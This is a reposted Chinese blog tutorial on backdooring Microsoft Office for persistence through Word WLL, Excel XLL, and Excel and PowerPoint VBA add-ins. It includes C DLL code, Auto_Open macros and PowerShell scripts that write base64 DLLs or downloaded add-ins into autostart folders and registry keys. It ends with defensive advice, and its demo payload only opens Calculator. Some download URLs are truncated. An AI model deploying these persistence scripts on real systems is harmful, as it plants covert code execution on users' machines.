Use Office to maintain persistence

发布于 2024-11-17 21:02:17 字数 32689 浏览 1 评论 0

0x00 前言

对于 Windows 平台,Microsoft Office 的普及率很高。站在攻击者的角度,通常会选择在 Office 软件中植入后门。

我在一篇博客上看到了 Office 后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用、隐蔽的方式,编写 POC 脚本实现自动利用。

博客地址:https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/

作者: William Knowles@william_knows

POC:https://github.com/3gstudent/Office-Persistence

0x01 简介

本文将要介绍以下内容:

  • 针对 Word、Excel、PowerPoint 的四种后门利用方法
  • 编写 Powershell 脚本实现自动利用
  • 比较优缺点,分析防御方法

0x02 Word WLL

1、手动测试

开发工具: VC6.0

新建 dll 工程,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }return TRUE;
}

编译成 msg.dll,作如下设置减小编译文件体积:

  • Build:release
  • 添加代码:#pragma comment(linker,"/OPT:nowin98")
  • 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL

经过优化,dll 大小为 3kb

重命名为 msg.wll,保存路径如下:

C:\Users\a\AppData\Roaming\Microsoft\Word\Startup

启动 Word.exe,弹框,界面卡住,Word 无法正常执行;关闭弹出的对话框后,Word 正常启动

如下图

Alt text

注:

通过 Metasploit 的 msfvenom 生成的 dll,会导致 Word 程序崩溃

修改 c 代码,实现启动计算器,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("calc.exe",SW_SHOWNORMAL);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }return TRUE;
}

编译成 calc.dll,优化后大小为 3kb

重命名为 calc.wll,保存在路径 C:\Users\a\AppData\Roaming\Microsoft\Word\Startup

启动 Word.exe,弹出计算器,并且 word 正常启动

如下图

Alt text

注:

Startup 路径可保存多个 wll,支持启动多个 wll

2、编写 Powershell 脚本实现

wll 路径对应的 powershell 代码如下:

$env:APPDATA+"\Microsoft\Word\Startup\calc.wll"

将编译好的 3kb 大小的 calc.dll 作 base64 加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")

得到

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)

以上代码运行后,在 C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\ 生成 calc.wll,启动 word.exe 时,弹出计算器

0x03 Excel XLL

1、手动测试

新建 dll 工程,添加导出函数 xlAutoOpen,具体代码如下:

void xlAutoOpen()
{
    WinExec("calc.exe",SW_SHOWNORMAL);
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:

        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

添加文件,设置类型:Text File

名称:工程同名文件.def

写入:

EXPORTS
xlAutoOpen

编译成 calc2.dll,导出函数为 xlAutoOpen(),优化后大小为 3kb

重命名为 calc.xll,保存路径如下:

%appdata%\Microsoft\AddIns

查找注册表键值:

Office2010 对应的键值为:

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options

Office2013 对应的键值为:

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options

新建 字符串 值: OPEN/R calc.xll

启动 Excel.exe,弹出计算器,并且 Excel 正常启动

2、编写 Powershell 脚本实现

同上,calc2.dll 作 base64 加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")

得到

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

用变量$fileContent 存储 base64 加密的 calc.xll

根据.xll 文件的释放路径,base64 解密并生成 calc.xll 的代码如下:

$fileContent = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)

通过 powershell 判断 office 版本:

dir -name "C:\Program Files\Microsoft Office\Office*"

回显: Office14

对字符串截取,截取出版本号 14,代码如下:

$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*"

$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )

加入异常捕获,如果系统未安装 Office,返回提示信息:

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) 
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path."  
}  

Write-Host "Microsoft Office Version:" $Ver

拼接不同 Office 版本对应的注册表路径:

$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"

新建键:Options

New-Item -type Directory $ExcelRegPath"Options" | Out-Null

新建字符串值: OPEN: /R calc.xll :

New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

完整代码如下:

$fileContent = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAA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xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) 

}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"
New-Item -type Directory $ExcelRegPath"Options" | Out-Null
New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

0x04 Excel VBA add-ins

1、手动测试

启动 Excel,开启开发工具选项,选择 Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Exec ("calc.exe")
End Sub

保存为 calc.xlam,路径为:

%appdata%\Microsoft\Excel\XLSTART

启动 Excel.exe,弹出计算器,并且 Excel 正常启动

2、编写 Powershell 脚本实现

保存路径为:

%appdata%\Microsoft\Excel\XLSTART\calc.xlam

对应 powershell 代码如下:

$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.xlam",$env:APPDATA+"\Microsoft\Excel\XLSTART\calc.xlam")

0x05 PowerPoint VBA add-ins

1、手动测试

启动 PowerPoint,开启开发工具选项,选择 Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Exec ("calc.exe")
End Sub

保存为 calc.ppa,路径为:

%appdata%\Microsoft\AddIns

查找注册表键值:

Office2010 对应的键值为:

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint

Office2013 对应的键值为:

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint

新建项 AddIns,新建子项 calc(对应 calc.ppa)

新建 DWORD 值: Autoload1

新建 字符串 值: Pathcalc.ppa

启动 PowerPoint.exe,弹出计算器,并且 PowerPoint 正常启动

2、编写 Powershell 脚本实现

保存路径为:

%appdata%\Microsoft\AddIns\calc.ppa

对应 powershell 代码如下:

$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")

注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"

新建键 AddIns:

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null

新建键 calc:

New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null

新建 DWORD 值: Autoload: 1

New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null

新建字符串值: Path: calc.ppa

New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null

完整代码如下:

$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null
New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null

注:

以上四种方法的利用脚本我已经整合并上传至 github,地址为:

https://github.com/3gstudent/Office-Persistence

0x06 检测和防御

1、Word

禁用所有加载项,如下图

Alt text

禁用所有控件,如下图

Alt text

禁用所有宏,如下图

Alt text

Word WLL 依然能够执行

防御方法:

删除信任位置:

C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\

如下图

Alt text

注:

添加时不能使用环境变量%appdata%

2、Excel

Excel XLL 和 Excel VBA add-ins:

防御方法:

禁用所有加载项

3、PowerPoint

PowerPoint VBA add-ins:

防御方法:

禁用所有加载项

0x07 小结

本文介绍了 x86 系统下 Word、Excel、PowerPoint 中常用的四种后门利用方式,开源 POC 脚本以便于测试,最后站在防御角度,介绍了具体的防御方法。x64 系统的利用方法作适当修改就好。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

北方的韩爷

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

qq_7J1imQ

文章 0 评论 0

《一串符号》

文章 0 评论 0

hls.

文章 0 评论 0

雅心素梦

文章 0 评论 0

塔塔猫

文章 0 评论 0

微信用户

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文